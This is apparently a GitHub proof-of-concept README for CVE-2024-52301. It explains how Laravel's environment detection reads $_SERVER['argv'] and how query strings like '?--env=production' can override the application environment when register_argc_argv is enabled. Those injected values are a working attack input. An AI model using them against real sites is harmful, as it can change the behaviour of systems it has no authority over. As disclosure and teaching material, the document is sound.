Nyamort / CVE-2024-52301

Repository from Github https://github.comNyamort/CVE-2024-52301Repository from Github https://github.comNyamort/CVE-2024-52301

CVE-2024-52301 POC

This vulnerability is based on the CVE-2024-50340 vulnerability

Requirements

The register_argc_argv option must be enabled in the PHP configuration file (php.ini). This setting loads command-line arguments and query params into $_SERVER['argv'].

https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv

Explanation of Vulnerable Code

//Illuminate\Foundation\Application
public function detectEnvironment (Closure $callback)
{
    $args = $_SERVER['argv'] ?? null;

    return $this['env'] = (new EnvironmentDetector)->detect($callback, $args);
}

Purpose: This method detects the environment by accessing $_SERVER['argv'], which holds command-line arguments, and then delegates to the EnvironmentDetector class.

Vulnerability Source: By relying on $_SERVER['argv'], any injected URL parameters (e.g., ?--env=dev) could manipulate $_SERVER['argv'] to contain ["--env=dev"]. This array is passed directly to detect, potentially allowing an attacker to control the environment.

//Illuminate\Foundation\EnvironmentDetector
public function detect(Closure $callback, $consoleArgs = null)
{
    if ($consoleArgs) {
        return $this->detectConsoleEnvironment($callback, $consoleArgs);
    }

    return $this->detectWebEnvironment($callback);
}

Purpose: The detect method determines if $consoleArgs (the argv array) is provided. If present, it calls detectConsoleEnvironment to handle console-based environment detection; otherwise, it calls detectWebEnvironment for HTTP requests.

Pathway to Vulnerability: If $_SERVER['argv'] includes injected values like --env=dev, it leads to detectConsoleEnvironment, which processes the arguments and could switch the application to a different environment.

//Illuminate\Foundation\EnvironmentDetector
protected function detectConsoleEnvironment(Closure $callback, array $args)
{
    // First we will check if an environment argument was passed via console arguments
    // and if it was that automatically overrides as the environment. Otherwise, we
    // will check the environment as a "web" request like a typical HTTP request.
    if (! is_null($value = $this->getEnvironmentArgument($args))) {
        return $value;
    }

    return $this->detectWebEnvironment($callback);
}

Purpose: This method checks if the --env argument is present among console arguments.

Mechanism: It calls getEnvironmentArgument to see if any of the argv arguments specify an environment. If --env is provided, this method returns the specified environment value, bypassing the detectWebEnvironment call.

//Illuminate\Foundation\EnvironmentDetector
protected function getEnvironmentArgument(array $args)
{
    foreach ($args as $i => $value) {
        if ($value === '--env') {
            return $args[$i + 1] ?? null;
        }

        if (str_starts_with($value, '--env=')) {
            return head(array_slice(explode('=', $value), 1));
        }
    }
}

Purpose: This method parses argv to find the --env argument. Mechanism:

If --env is found as a standalone flag, it returns the next argument as the environment value.

If --env= syntax is used (e.g., --env=dev), it extracts and returns the environment (dev in this case).

PoC Example

Environment Configuration:

The .env file has APP_ENV=development, so by default, the application is set to the development environment.

@production
    <p>Production environment</p>
@endproduction

@env ('local')
    <p>Local environment</p>
@endenv

Default Access (http://localhost):
Since APP_ENV is set to development and no --env argument is injected, neither the @production nor the @env('local') directive matches.
Result: The output is empty.

Injected Argument for Production (http://localhost?--env=production):
With ?--env=production in the URL, $_SERVER['argv'] is manipulated to contain ["--env=production"].
This triggers Laravel's environment detection mechanism, setting the environment to production.
Result: The @production directive outputs <p>Production environment</p>.

Injected Argument for Local (http://localhost?--env=local):
With ?--env=local, $_SERVER['argv'] includes ["--env=local"], changing the environment to local.
Result: The @env('local') directive outputs <p>Local environment</p>

Attention

This vulnerability does not allow changing the environment within the config function. Instead, it only affects the environment setting within the Application class.

Thus, although Blade directives and other parts of the code rely on the Application class to detect the environment, the code using the config function is not affected by this vulnerability.

About